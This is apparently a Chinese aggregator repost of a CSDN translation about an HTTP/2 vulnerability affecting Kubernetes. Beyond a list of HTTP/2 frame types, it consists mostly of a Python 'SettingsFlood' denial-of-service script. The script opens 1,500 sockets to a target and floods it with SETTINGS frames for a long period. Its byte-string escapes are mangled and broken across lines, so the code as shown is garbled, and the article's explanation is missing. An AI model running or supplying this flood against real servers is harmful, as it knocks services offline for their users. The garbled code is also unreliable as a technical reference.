最新 HTTP/2 漏洞曝光,直指 Kubernetes!
Posted CSDN
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了最新 HTTP/2 漏洞曝光,直指 Kubernetes!相关的知识,希望对你有一定的参考价值。
作者 | Randy Westergren
译者 | 弯月,责编 | 屠敏
出品 | CSDN(ID:csdnnews)
PRIORITY
RST_STREAM
SETTINGS
PUSH_PROMISE
PING
GOAWAY
WINDOW_UPDATE
CONTINUATION
import socket
import sys
import time
class SettingsFlood:
SETTINGS_FRAME = b'x00x00x00x04x00x00x00x00x00'
PREAMBLE = b'PRI * HTTP/2.0
SM
x00x00*x04x00x00x00'
b'x00x00x00x01x00x00x10x00x00x02x00x00x00x01'
b'x00x04x00x00xffxffx00x05x00x00@x00x00x08x00'
b'x00x00x00x00x03x00x00x00dx00x06x00x01x00x00'
def __init__(self, ip, port=80, socket_count=200):
self._ip = ip
self._port = port
self._sockets = [self.create_socket() for _ in range(socket_count)]
def create_socket(self):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(4)
s.connect((self._ip, self._port))
s.send(self.PREAMBLE)
return s
except socket.error as se:
print("Error: "+str(se))
time.sleep(0.5)
return self.create_socket()
def attack(self, timeout=sys.maxsize, sleep=1):
t, i = time.time(), 0
while time.time() - t < timeout:
for s in self._sockets:
try:
s.send(self.SETTINGS_FRAME)
except socket.error:
self._sockets.remove(s)
self._sockets.append(self.create_socket())
time.sleep(sleep/len(self._sockets))
if __name__ == "__main__":
dos = SettingsFlood("127.0.0.1", 8080, socket_count=1500)
dos.attack(timeout=60*10*10)
【END】
热 文 推 荐
以上是关于最新 HTTP/2 漏洞曝光,直指 Kubernetes!的主要内容,如果未能解决你的问题,请参考以下文章
网安动态Apache Struts某漏洞曝光一年后仍有“余威”; hashgraph:区块链技术的最新竞争者